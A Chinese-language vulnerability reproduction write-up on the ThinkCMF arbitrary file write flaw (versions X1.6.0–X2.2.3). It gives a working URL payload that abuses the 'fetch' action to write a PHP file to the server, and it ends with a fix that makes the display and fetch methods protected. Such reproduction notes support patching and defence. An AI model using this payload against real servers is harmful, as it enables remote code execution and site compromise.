ThinkCMF任意文件写入漏洞——漏洞复现

时间:2024-03-27 11:43:52

一、漏洞描述

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

二、漏洞原理

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

三、环境搭建

下载ThinkCMF X2.2.0 链接:https://pan.baidu.com/s/1dEJJoU9?errno=0&errmsg=Auth%20Login%20Sucess&&bduss=&ssnerror=0&traceid=

使用phpstudy搭建即可

四、漏洞复现

访问目标网站,如下图所示:
ThinkCMF任意文件写入漏洞——漏洞复现
输入payload:payload:?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘test.txt’,’<?php phpinfo(); ?>’)后回车
ThinkCMF任意文件写入漏洞——漏洞复现
回车后页面空白如下图所示
ThinkCMF任意文件写入漏洞——漏洞复现
成功上传文件,访问刚刚创建的文件
ThinkCMF任意文件写入漏洞——漏洞复现

五、漏洞修复

将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected。